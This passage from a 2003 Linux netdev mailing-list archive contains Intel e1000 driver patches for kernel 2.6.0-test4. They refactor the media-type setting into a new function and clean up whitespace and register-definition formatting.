if(e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_STATUS, &phy_data) < 0) - return -E1000_ERR_PHY; + if((ret_val = e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_STATUS, + &phy_data))) + return ret_val; /* If speed is 1000 Mbps, must read the IGP01E1000_PHY_PCS_INIT_REG to * find the polarity status */ From scott.feldman@intel.com Mon Sep 8 19:50:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:38 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892o4x4017201 for ; Mon, 8 Sep 2003 19:50:04 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892jHu01655 for ; Tue, 9 Sep 2003 02:45:17 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.py.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892nhC27443 for ; Tue, 9 Sep 2003 02:49:43 GMT Received: from [134.134.3.75] ([134.134.3.75]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819495528620 ; Mon, 08 Sep 2003 19:49:55 -0700 Date: Mon, 8 Sep 2003 20:14:35 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [e1000 2.6 6/11] make function our of setting media type Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5714 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 3938 Lines: 118 * Consolidate code and make function out of setting media type. -------------------- diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c 2003-08-22 17:01:40.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c 2003-09-08 09:13:11.000000000 -0700 @@ -249,6 +249,46 @@ e1000_set_mac_type(struct e1000_hw *hw) return E1000_SUCCESS; } + +/***************************************************************************** + * Set media type and TBI compatibility. + * + * hw - Struct containing variables accessed by shared code + * **************************************************************************/ +void +e1000_set_media_type(struct e1000_hw *hw) +{ + uint32_t status; + + DEBUGFUNC("e1000_set_media_type"); + + if(hw->mac_type != e1000_82543) { + /* tbi_compatibility is only valid on 82543 */ + hw->tbi_compatibility_en = FALSE; + } + + switch (hw->device_id) { + case E1000_DEV_ID_82545GM_SERDES: + case E1000_DEV_ID_82546GB_SERDES: + hw->media_type = e1000_media_type_internal_serdes; + break; + default: + if(hw->mac_type >= e1000_82543) { + status = E1000_READ_REG(hw, STATUS); + if(status & E1000_STATUS_TBIMODE) { + hw->media_type = e1000_media_type_fiber; + /* tbi_compatibility not valid on fiber */ + hw->tbi_compatibility_en = FALSE; + } else { + hw->media_type = e1000_media_type_copper; + } + } else { + /* This is an 82542 (fiber only) */ + hw->media_type = e1000_media_type_fiber; + } + } +} + /****************************************************************************** * Reset the transmit and receive units; mask and clear all interrupts. * @@ -404,7 +404,7 @@ e1000_reset_hw(struct e1000_hw *hw) int32_t e1000_init_hw(struct e1000_hw *hw) { - uint32_t ctrl, status; + uint32_t ctrl; uint32_t i; int32_t ret_val; uint16_t pcix_cmd_word; @@ -421,25 +390,8 @@ e1000_init_hw(struct e1000_hw *hw) return ret_val; } - /* Set the Media Type and exit with error if it is not valid. */ - if(hw->mac_type != e1000_82543) { - /* tbi_compatibility is only valid on 82543 */ - hw->tbi_compatibility_en = FALSE; - } - - if(hw->mac_type >= e1000_82543) { - status = E1000_READ_REG(hw, STATUS); - if(status & E1000_STATUS_TBIMODE) { - hw->media_type = e1000_media_type_fiber; - /* tbi_compatibility not valid on fiber */ - hw->tbi_compatibility_en = FALSE; - } else { - hw->media_type = e1000_media_type_copper; - } - } else { - /* This is an 82542 (fiber only) */ - hw->media_type = e1000_media_type_fiber; - } + /* Set the media type and TBI compatibility */ + e1000_set_media_type(hw); /* Disabling VLAN filtering. */ DEBUGOUT("Initializing the IEEE VLAN\n"); diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_main.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_main.c 2003-08-22 16:54:23.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c 2003-09-08 09:13:11.000000000 -0700 @@ -625,18 +625,7 @@ e1000_sw_init(struct e1000_adapter *adap (hw->mac_type == e1000_82547_rev_2)) hw->phy_init_script = 1; - /* Media type - copper or fiber */ - - if(hw->mac_type >= e1000_82543) { - uint32_t status = E1000_READ_REG(hw, STATUS); - - if(status & E1000_STATUS_TBIMODE) - hw->media_type = e1000_media_type_fiber; - else - hw->media_type = e1000_media_type_copper; - } else { - hw->media_type = e1000_media_type_fiber; - } + e1000_set_media_type(hw); if(hw->mac_type < e1000_82543) hw->report_tx_early = 0; From scott.feldman@intel.com Mon Sep 8 19:50:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:55 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892oYx4017553 for ; Mon, 8 Sep 2003 19:50:34 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892jku01768 for ; Tue, 9 Sep 2003 02:45:46 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.py.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892oCC27623 for ; Tue, 9 Sep 2003 02:50:12 GMT Received: from [134.134.3.75] ([134.134.3.75]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819502307210 ; Mon, 08 Sep 2003 19:50:23 -0700 Date: Mon, 8 Sep 2003 20:15:02 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [e1000 2.6 11/11] misc whitespace cleanup, changelog Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5719 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 28189 Lines: 553 * misc whitespace cleanup, changelog ---------------- diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_ethtool.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_ethtool.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_ethtool.c 2003-08-22 16:55:33.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_ethtool.c 2003-09-08 09:13:10.000000000 -0700 @@ -1173,7 +1173,7 @@ e1000_ethtool_test(struct e1000_adapter e1000_down(adapter); else e1000_reset(adapter); - + if(e1000_reg_test(adapter, &data[0])) eth_test->flags |= ETH_TEST_FL_FAILED; diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_hw.c 2003-08-22 17:01:40.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.c 2003-09-08 09:13:11.000000000 -0700 @@ -41,7 +41,8 @@ static int32_t e1000_config_mac_to_phy(struct e1000_hw *hw); static void e1000_raise_mdi_clk(struct e1000_hw *hw, uint32_t *ctrl); static void e1000_lower_mdi_clk(struct e1000_hw *hw, uint32_t *ctrl); -static void e1000_shift_out_mdi_bits(struct e1000_hw *hw, uint32_t data, uint16_t count); +static void e1000_shift_out_mdi_bits(struct e1000_hw *hw, uint32_t data, + uint16_t count); static uint16_t e1000_shift_in_mdi_bits(struct e1000_hw *hw); static int32_t e1000_phy_reset_dsp(struct e1000_hw *hw); static int32_t e1000_write_eeprom_spi(struct e1000_hw *hw, uint16_t offset, @@ -52,7 +52,8 @@ static int32_t e1000_write_eeprom_microw static int32_t e1000_spi_eeprom_ready(struct e1000_hw *hw); static void e1000_raise_ee_clk(struct e1000_hw *hw, uint32_t *eecd); static void e1000_lower_ee_clk(struct e1000_hw *hw, uint32_t *eecd); -static void e1000_shift_out_ee_bits(struct e1000_hw *hw, uint16_t data, uint16_t count); +static void e1000_shift_out_ee_bits(struct e1000_hw *hw, uint16_t data, + uint16_t count); static int32_t e1000_write_phy_reg_ex(struct e1000_hw *hw, uint32_t reg_addr, uint16_t phy_data); static int32_t e1000_read_phy_reg_ex(struct e1000_hw *hw,uint32_t reg_addr, @@ -257,7 +218,6 @@ e1000_set_mac_type(struct e1000_hw *hw) return -E1000_ERR_MAC_TYPE; } - return E1000_SUCCESS; } @@ -342,20 +280,21 @@ e1000_reset_hw(struct e1000_hw *hw) */ msec_delay(10); - /* Issue a global reset to the MAC. This will reset the chip's - * transmit, receive, DMA, and link units. It will not effect - * the current PCI configuration. The global reset bit is self- - * clearing, and should clear within a microsecond. - */ - DEBUGOUT("Issuing a global reset to MAC\n"); ctrl = E1000_READ_REG(hw, CTRL); /* Must reset the PHY before resetting the MAC */ if((hw->mac_type == e1000_82541) || (hw->mac_type == e1000_82547)) { E1000_WRITE_REG_IO(hw, CTRL, (ctrl | E1000_CTRL_PHY_RST)); - msec_delay(5); + msec_delay(5); } + /* Issue a global reset to the MAC. This will reset the chip's + * transmit, receive, DMA, and link units. It will not effect + * the current PCI configuration. The global reset bit is self- + * clearing, and should clear within a microsecond. + */ + DEBUGOUT("Issuing a global reset to MAC\n"); + switch(hw->mac_type) { case e1000_82544: case e1000_82540: @@ -3083,7 +3083,8 @@ e1000_shift_out_ee_bits(struct e1000_hw * hw - Struct containing variables accessed by shared code *****************************************************************************/ static uint16_t -e1000_shift_in_ee_bits(struct e1000_hw *hw, uint16_t count) +e1000_shift_in_ee_bits(struct e1000_hw *hw, + uint16_t count) { uint32_t eecd; uint32_t i; @@ -4359,8 +4362,7 @@ e1000_update_adaptive(struct e1000_hw *h DEBUGFUNC("e1000_update_adaptive"); if(hw->adaptive_ifs) { - if((hw->collision_delta * hw->ifs_ratio) > - hw->tx_packet_delta) { + if((hw->collision_delta * hw->ifs_ratio) > hw->tx_packet_delta) { if(hw->tx_packet_delta > MIN_NUM_XMITS) { hw->in_ifs_mode = TRUE; if(hw->current_ifs_val < hw->ifs_max_val) { @@ -4372,8 +4374,7 @@ e1000_update_adaptive(struct e1000_hw *h } } } else { - if((hw->in_ifs_mode == TRUE) && - (hw->tx_packet_delta <= MIN_NUM_XMITS)) { + if(hw->in_ifs_mode && (hw->tx_packet_delta <= MIN_NUM_XMITS)) { hw->current_ifs_val = 0; hw->in_ifs_mode = FALSE; E1000_WRITE_REG(hw, AIT, 0); diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_hw.h linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.h --- linux-2.6.0-test4/drivers/net/e1000/e1000_hw.h 2003-08-22 16:58:59.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.h 2003-09-08 09:13:16.000000000 -0700 @@ -33,9 +33,9 @@ #ifndef _E1000_HW_H_ #define _E1000_HW_H_ - #include "e1000_osdep.h" + /* Forward declarations of structures used by the shared code */ struct e1000_hw; struct e1000_hw_stats; @@ -425,7 +425,7 @@ void e1000_write_reg_io(struct e1000_hw E1000_IMS_RXSEQ | \ E1000_IMS_LSC) -/* The number of high/low register pairs in the RAR. The RAR (Receive Address +/* Number of high/low register pairs in the RAR. The RAR (Receive Address * Registers) holds the directed and multicast addresses that we monitor. We * reserve one of these spots for our directed address, allowing us room for * E1000_RAR_ENTRIES - 1 multicast addresses. @@ -579,7 +579,7 @@ struct e1000_rar { volatile uint32_t high; /* receive address high */ }; -/* The number of entries in the Multicast Table Array (MTA). */ +/* Number of entries in the Multicast Table Array (MTA). */ #define E1000_NUM_MTA_REGISTERS 128 /* IPv4 Address Table Entry */ @@ -1108,7 +1108,7 @@ struct e1000_hw { #define E1000_EECD_PRES 0x00000100 /* EEPROM Present */ #define E1000_EECD_SIZE 0x00000200 /* EEPROM Size (0=64 word 1=256 word) */ #define E1000_EECD_ADDR_BITS 0x00000400 /* EEPROM Addressing bits based on type - * (0-small, 1-large) */ + * (0-small, 1-large) */ #define E1000_EECD_TYPE 0x00002000 /* EEPROM Type (1-SPI, 0-Microwire) */ #ifndef E1000_EEPROM_GRANT_ATTEMPTS #define E1000_EEPROM_GRANT_ATTEMPTS 1000 /* EEPROM # attempts to gain grant */ @@ -1170,22 +1170,22 @@ struct e1000_hw { #define E1000_MDIC_ERROR 0x40000000 /* LED Control */ -#define E1000_LEDCTL_LED0_MODE_MASK 0x0000000F -#define E1000_LEDCTL_LED0_MODE_SHIFT 0 -#define E1000_LEDCTL_LED0_IVRT 0x00000040 -#define E1000_LEDCTL_LED0_BLINK 0x00000080 -#define E1000_LEDCTL_LED1_MODE_MASK 0x00000F00 -#define E1000_LEDCTL_LED1_MODE_SHIFT 8 -#define E1000_LEDCTL_LED1_IVRT 0x00004000 -#define E1000_LEDCTL_LED1_BLINK 0x00008000 -#define E1000_LEDCTL_LED2_MODE_MASK 0x000F0000 -#define E1000_LEDCTL_LED2_MODE_SHIFT 16 -#define E1000_LEDCTL_LED2_IVRT 0x00400000 -#define E1000_LEDCTL_LED2_BLINK 0x00800000 -#define E1000_LEDCTL_LED3_MODE_MASK 0x0F000000 -#define E1000_LEDCTL_LED3_MODE_SHIFT 24 -#define E1000_LEDCTL_LED3_IVRT 0x40000000 -#define E1000_LEDCTL_LED3_BLINK 0x80000000 +#define E1000_LEDCTL_LED0_MODE_MASK 0x0000000F +#define E1000_LEDCTL_LED0_MODE_SHIFT 0 +#define E1000_LEDCTL_LED0_IVRT 0x00000040 +#define E1000_LEDCTL_LED0_BLINK 0x00000080 +#define E1000_LEDCTL_LED1_MODE_MASK 0x00000F00 +#define E1000_LEDCTL_LED1_MODE_SHIFT 8 +#define E1000_LEDCTL_LED1_IVRT 0x00004000 +#define E1000_LEDCTL_LED1_BLINK 0x00008000 +#define E1000_LEDCTL_LED2_MODE_MASK 0x000F0000 +#define E1000_LEDCTL_LED2_MODE_SHIFT 16 +#define E1000_LEDCTL_LED2_IVRT 0x00400000 +#define E1000_LEDCTL_LED2_BLINK 0x00800000 +#define E1000_LEDCTL_LED3_MODE_MASK 0x0F000000 +#define E1000_LEDCTL_LED3_MODE_SHIFT 24 +#define E1000_LEDCTL_LED3_IVRT 0x40000000 +#define E1000_LEDCTL_LED3_BLINK 0x80000000 #define E1000_LEDCTL_MODE_LINK_10_1000 0x0 #define E1000_LEDCTL_MODE_LINK_100_1000 0x1 @@ -1208,109 +1208,109 @@ struct e1000_hw { #define E1000_RAH_AV 0x80000000 /* Receive descriptor valid */ /* Interrupt Cause Read */ -#define E1000_ICR_TXDW 0x00000001 /* Transmit desc written back */ -#define E1000_ICR_TXQE 0x00000002 /* Transmit Queue empty */ -#define E1000_ICR_LSC 0x00000004 /* Link Status Change */ -#define E1000_ICR_RXSEQ 0x00000008 /* rx sequence error */ -#define E1000_ICR_RXDMT0 0x00000010 /* rx desc min. threshold (0) */ -#define E1000_ICR_RXO 0x00000040 /* rx overrun */ -#define E1000_ICR_RXT0 0x00000080 /* rx timer intr (ring 0) */ -#define E1000_ICR_MDAC 0x00000200 /* MDIO access complete */ -#define E1000_ICR_RXCFG 0x00000400 /* RX /c/ ordered set */ -#define E1000_ICR_GPI_EN0 0x00000800 /* GP Int 0 */ -#define E1000_ICR_GPI_EN1 0x00001000 /* GP Int 1 */ -#define E1000_ICR_GPI_EN2 0x00002000 /* GP Int 2 */ -#define E1000_ICR_GPI_EN3 0x00004000 /* GP Int 3 */ -#define E1000_ICR_TXD_LOW 0x00008000 -#define E1000_ICR_SRPD 0x00010000 +#define E1000_ICR_TXDW 0x00000001 /* Transmit desc written back */ +#define E1000_ICR_TXQE 0x00000002 /* Transmit Queue empty */ +#define E1000_ICR_LSC 0x00000004 /* Link Status Change */ +#define E1000_ICR_RXSEQ 0x00000008 /* rx sequence error */ +#define E1000_ICR_RXDMT0 0x00000010 /* rx desc min. threshold (0) */ +#define E1000_ICR_RXO 0x00000040 /* rx overrun */ +#define E1000_ICR_RXT0 0x00000080 /* rx timer intr (ring 0) */ +#define E1000_ICR_MDAC 0x00000200 /* MDIO access complete */ +#define E1000_ICR_RXCFG 0x00000400 /* RX /c/ ordered set */ +#define E1000_ICR_GPI_EN0 0x00000800 /* GP Int 0 */ +#define E1000_ICR_GPI_EN1 0x00001000 /* GP Int 1 */ +#define E1000_ICR_GPI_EN2 0x00002000 /* GP Int 2 */ +#define E1000_ICR_GPI_EN3 0x00004000 /* GP Int 3 */ +#define E1000_ICR_TXD_LOW 0x00008000 +#define E1000_ICR_SRPD 0x00010000 /* Interrupt Cause Set */ -#define E1000_ICS_TXDW E1000_ICR_TXDW /* Transmit desc written back */ -#define E1000_ICS_TXQE E1000_ICR_TXQE /* Transmit Queue empty */ -#define E1000_ICS_LSC E1000_ICR_LSC /* Link Status Change */ -#define E1000_ICS_RXSEQ E1000_ICR_RXSEQ /* rx sequence error */ -#define E1000_ICS_RXDMT0 E1000_ICR_RXDMT0 /* rx desc min. threshold */ -#define E1000_ICS_RXO E1000_ICR_RXO /* rx overrun */ -#define E1000_ICS_RXT0 E1000_ICR_RXT0 /* rx timer intr */ -#define E1000_ICS_MDAC E1000_ICR_MDAC /* MDIO access complete */ -#define E1000_ICS_RXCFG E1000_ICR_RXCFG /* RX /c/ ordered set */ -#define E1000_ICS_GPI_EN0 E1000_ICR_GPI_EN0 /* GP Int 0 */ -#define E1000_ICS_GPI_EN1 E1000_ICR_GPI_EN1 /* GP Int 1 */ -#define E1000_ICS_GPI_EN2 E1000_ICR_GPI_EN2 /* GP Int 2 */ -#define E1000_ICS_GPI_EN3 E1000_ICR_GPI_EN3 /* GP Int 3 */ -#define E1000_ICS_TXD_LOW E1000_ICR_TXD_LOW -#define E1000_ICS_SRPD E1000_ICR_SRPD +#define E1000_ICS_TXDW E1000_ICR_TXDW /* Transmit desc written back */ +#define E1000_ICS_TXQE E1000_ICR_TXQE /* Transmit Queue empty */ +#define E1000_ICS_LSC E1000_ICR_LSC /* Link Status Change */ +#define E1000_ICS_RXSEQ E1000_ICR_RXSEQ /* rx sequence error */ +#define E1000_ICS_RXDMT0 E1000_ICR_RXDMT0 /* rx desc min. threshold */ +#define E1000_ICS_RXO E1000_ICR_RXO /* rx overrun */ +#define E1000_ICS_RXT0 E1000_ICR_RXT0 /* rx timer intr */ +#define E1000_ICS_MDAC E1000_ICR_MDAC /* MDIO access complete */ +#define E1000_ICS_RXCFG E1000_ICR_RXCFG /* RX /c/ ordered set */ +#define E1000_ICS_GPI_EN0 E1000_ICR_GPI_EN0 /* GP Int 0 */ +#define E1000_ICS_GPI_EN1 E1000_ICR_GPI_EN1 /* GP Int 1 */ +#define E1000_ICS_GPI_EN2 E1000_ICR_GPI_EN2 /* GP Int 2 */ +#define E1000_ICS_GPI_EN3 E1000_ICR_GPI_EN3 /* GP Int 3 */ +#define E1000_ICS_TXD_LOW E1000_ICR_TXD_LOW +#define E1000_ICS_SRPD E1000_ICR_SRPD /* Interrupt Mask Set */ -#define E1000_IMS_TXDW E1000_ICR_TXDW /* Transmit desc written back */ -#define E1000_IMS_TXQE E1000_ICR_TXQE /* Transmit Queue empty */ -#define E1000_IMS_LSC E1000_ICR_LSC /* Link Status Change */ -#define E1000_IMS_RXSEQ E1000_ICR_RXSEQ /* rx sequence error */ -#define E1000_IMS_RXDMT0 E1000_ICR_RXDMT0 /* rx desc min. threshold */ -#define E1000_IMS_RXO E1000_ICR_RXO /* rx overrun */ -#define E1000_IMS_RXT0 E1000_ICR_RXT0 /* rx timer intr */ -#define E1000_IMS_MDAC E1000_ICR_MDAC /* MDIO access complete */ -#define E1000_IMS_RXCFG E1000_ICR_RXCFG /* RX /c/ ordered set */ -#define E1000_IMS_GPI_EN0 E1000_ICR_GPI_EN0 /* GP Int 0 */ -#define E1000_IMS_GPI_EN1 E1000_ICR_GPI_EN1 /* GP Int 1 */ -#define E1000_IMS_GPI_EN2 E1000_ICR_GPI_EN2 /* GP Int 2 */ -#define E1000_IMS_GPI_EN3 E1000_ICR_GPI_EN3 /* GP Int 3 */ -#define E1000_IMS_TXD_LOW E1000_ICR_TXD_LOW -#define E1000_IMS_SRPD E1000_ICR_SRPD +#define E1000_IMS_TXDW E1000_ICR_TXDW /* Transmit desc written back */ +#define E1000_IMS_TXQE E1000_ICR_TXQE /* Transmit Queue empty */ +#define E1000_IMS_LSC E1000_ICR_LSC /* Link Status Change */ +#define E1000_IMS_RXSEQ E1000_ICR_RXSEQ /* rx sequence error */ +#define E1000_IMS_RXDMT0 E1000_ICR_RXDMT0 /* rx desc min. threshold */ +#define E1000_IMS_RXO E1000_ICR_RXO /* rx overrun */ +#define E1000_IMS_RXT0 E1000_ICR_RXT0 /* rx timer intr */ +#define E1000_IMS_MDAC E1000_ICR_MDAC /* MDIO access complete */ +#define E1000_IMS_RXCFG E1000_ICR_RXCFG /* RX /c/ ordered set */ +#define E1000_IMS_GPI_EN0 E1000_ICR_GPI_EN0 /* GP Int 0 */ +#define E1000_IMS_GPI_EN1 E1000_ICR_GPI_EN1 /* GP Int 1 */ +#define E1000_IMS_GPI_EN2 E1000_ICR_GPI_EN2 /* GP Int 2 */ +#define E1000_IMS_GPI_EN3 E1000_ICR_GPI_EN3 /* GP Int 3 */ +#define E1000_IMS_TXD_LOW E1000_ICR_TXD_LOW +#define E1000_IMS_SRPD E1000_ICR_SRPD /* Interrupt Mask Clear */ -#define E1000_IMC_TXDW E1000_ICR_TXDW /* Transmit desc written back */ -#define E1000_IMC_TXQE E1000_ICR_TXQE /* Transmit Queue empty */ -#define E1000_IMC_LSC E1000_ICR_LSC /* Link Status Change */ -#define E1000_IMC_RXSEQ E1000_ICR_RXSEQ /* rx sequence error */ -#define E1000_IMC_RXDMT0 E1000_ICR_RXDMT0 /* rx desc min. threshold */ -#define E1000_IMC_RXO E1000_ICR_RXO /* rx overrun */ -#define E1000_IMC_RXT0 E1000_ICR_RXT0 /* rx timer intr */ -#define E1000_IMC_MDAC E1000_ICR_MDAC /* MDIO access complete */ -#define E1000_IMC_RXCFG E1000_ICR_RXCFG /* RX /c/ ordered set */ -#define E1000_IMC_GPI_EN0 E1000_ICR_GPI_EN0 /* GP Int 0 */ -#define E1000_IMC_GPI_EN1 E1000_ICR_GPI_EN1 /* GP Int 1 */ -#define E1000_IMC_GPI_EN2 E1000_ICR_GPI_EN2 /* GP Int 2 */ -#define E1000_IMC_GPI_EN3 E1000_ICR_GPI_EN3 /* GP Int 3 */ -#define E1000_IMC_TXD_LOW E1000_ICR_TXD_LOW -#define E1000_IMC_SRPD E1000_ICR_SRPD +#define E1000_IMC_TXDW E1000_ICR_TXDW /* Transmit desc written back */ +#define E1000_IMC_TXQE E1000_ICR_TXQE /* Transmit Queue empty */ +#define E1000_IMC_LSC E1000_ICR_LSC /* Link Status Change */ +#define E1000_IMC_RXSEQ E1000_ICR_RXSEQ /* rx sequence error */ +#define E1000_IMC_RXDMT0 E1000_ICR_RXDMT0 /* rx desc min. threshold */ +#define E1000_IMC_RXO E1000_ICR_RXO /* rx overrun */ +#define E1000_IMC_RXT0 E1000_ICR_RXT0 /* rx timer intr */ +#define E1000_IMC_MDAC E1000_ICR_MDAC /* MDIO access complete */ +#define E1000_IMC_RXCFG E1000_ICR_RXCFG /* RX /c/ ordered set */ +#define E1000_IMC_GPI_EN0 E1000_ICR_GPI_EN0 /* GP Int 0 */ +#define E1000_IMC_GPI_EN1 E1000_ICR_GPI_EN1 /* GP Int 1 */ +#define E1000_IMC_GPI_EN2 E1000_ICR_GPI_EN2 /* GP Int 2 */ +#define E1000_IMC_GPI_EN3 E1000_ICR_GPI_EN3 /* GP Int 3 */ +#define E1000_IMC_TXD_LOW E1000_ICR_TXD_LOW +#define E1000_IMC_SRPD E1000_ICR_SRPD /* Receive Control */ -#define E1000_RCTL_RST 0x00000001 /* Software reset */ -#define E1000_RCTL_EN 0x00000002 /* enable */ -#define E1000_RCTL_SBP 0x00000004 /* store bad packet */ -#define E1000_RCTL_UPE 0x00000008 /* unicast promiscuous enable */ -#define E1000_RCTL_MPE 0x00000010 /* multicast promiscuous enab */ -#define E1000_RCTL_LPE 0x00000020 /* long packet enable */ -#define E1000_RCTL_LBM_NO 0x00000000 /* no loopback mode */ -#define E1000_RCTL_LBM_MAC 0x00000040 /* MAC loopback mode */ -#define E1000_RCTL_LBM_SLP 0x00000080 /* serial link loopback mode */ -#define E1000_RCTL_LBM_TCVR 0x000000C0 /* tcvr loopback mode */ -#define E1000_RCTL_RDMTS_HALF 0x00000000 /* rx desc min threshold size */ -#define E1000_RCTL_RDMTS_QUAT 0x00000100 /* rx desc min threshold size */ -#define E1000_RCTL_RDMTS_EIGTH 0x00000200 /* rx desc min threshold size */ -#define E1000_RCTL_MO_SHIFT 12 /* multicast offset shift */ -#define E1000_RCTL_MO_0 0x00000000 /* multicast offset 11:0 */ -#define E1000_RCTL_MO_1 0x00001000 /* multicast offset 12:1 */ -#define E1000_RCTL_MO_2 0x00002000 /* multicast offset 13:2 */ -#define E1000_RCTL_MO_3 0x00003000 /* multicast offset 15:4 */ -#define E1000_RCTL_MDR 0x00004000 /* multicast desc ring 0 */ -#define E1000_RCTL_BAM 0x00008000 /* broadcast enable */ +#define E1000_RCTL_RST 0x00000001 /* Software reset */ +#define E1000_RCTL_EN 0x00000002 /* enable */ +#define E1000_RCTL_SBP 0x00000004 /* store bad packet */ +#define E1000_RCTL_UPE 0x00000008 /* unicast promiscuous enable */ +#define E1000_RCTL_MPE 0x00000010 /* multicast promiscuous enab */ +#define E1000_RCTL_LPE 0x00000020 /* long packet enable */ +#define E1000_RCTL_LBM_NO 0x00000000 /* no loopback mode */ +#define E1000_RCTL_LBM_MAC 0x00000040 /* MAC loopback mode */ +#define E1000_RCTL_LBM_SLP 0x00000080 /* serial link loopback mode */ +#define E1000_RCTL_LBM_TCVR 0x000000C0 /* tcvr loopback mode */ +#define E1000_RCTL_RDMTS_HALF 0x00000000 /* rx desc min threshold size */ +#define E1000_RCTL_RDMTS_QUAT 0x00000100 /* rx desc min threshold size */ +#define E1000_RCTL_RDMTS_EIGTH 0x00000200 /* rx desc min threshold size */ +#define E1000_RCTL_MO_SHIFT 12 /* multicast offset shift */ +#define E1000_RCTL_MO_0 0x00000000 /* multicast offset 11:0 */ +#define E1000_RCTL_MO_1 0x00001000 /* multicast offset 12:1 */ +#define E1000_RCTL_MO_2 0x00002000 /* multicast offset 13:2 */ +#define E1000_RCTL_MO_3 0x00003000 /* multicast offset 15:4 */ +#define E1000_RCTL_MDR 0x00004000 /* multicast desc ring 0 */ +#define E1000_RCTL_BAM 0x00008000 /* broadcast enable */ /* these buffer sizes are valid if E1000_RCTL_BSEX is 0 */ -#define E1000_RCTL_SZ_2048 0x00000000 /* rx buffer size 2048 */ -#define E1000_RCTL_SZ_1024 0x00010000 /* rx buffer size 1024 */ -#define E1000_RCTL_SZ_512 0x00020000 /* rx buffer size 512 */ -#define E1000_RCTL_SZ_256 0x00030000 /* rx buffer size 256 */ +#define E1000_RCTL_SZ_2048 0x00000000 /* rx buffer size 2048 */ +#define E1000_RCTL_SZ_1024 0x00010000 /* rx buffer size 1024 */ +#define E1000_RCTL_SZ_512 0x00020000 /* rx buffer size 512 */ +#define E1000_RCTL_SZ_256 0x00030000 /* rx buffer size 256 */ /* these buffer sizes are valid if E1000_RCTL_BSEX is 1 */ -#define E1000_RCTL_SZ_16384 0x00010000 /* rx buffer size 16384 */ -#define E1000_RCTL_SZ_8192 0x00020000 /* rx buffer size 8192 */ -#define E1000_RCTL_SZ_4096 0x00030000 /* rx buffer size 4096 */ -#define E1000_RCTL_VFE 0x00040000 /* vlan filter enable */ -#define E1000_RCTL_CFIEN 0x00080000 /* canonical form enable */ -#define E1000_RCTL_CFI 0x00100000 /* canonical form indicator */ -#define E1000_RCTL_DPF 0x00400000 /* discard pause frames */ -#define E1000_RCTL_PMCF 0x00800000 /* pass MAC control frames */ -#define E1000_RCTL_BSEX 0x02000000 /* Buffer size extension */ +#define E1000_RCTL_SZ_16384 0x00010000 /* rx buffer size 16384 */ +#define E1000_RCTL_SZ_8192 0x00020000 /* rx buffer size 8192 */ +#define E1000_RCTL_SZ_4096 0x00030000 /* rx buffer size 4096 */ +#define E1000_RCTL_VFE 0x00040000 /* vlan filter enable */ +#define E1000_RCTL_CFIEN 0x00080000 /* canonical form enable */ +#define E1000_RCTL_CFI 0x00100000 /* canonical form indicator */ +#define E1000_RCTL_DPF 0x00400000 /* discard pause frames */ +#define E1000_RCTL_PMCF 0x00800000 /* pass MAC control frames */ +#define 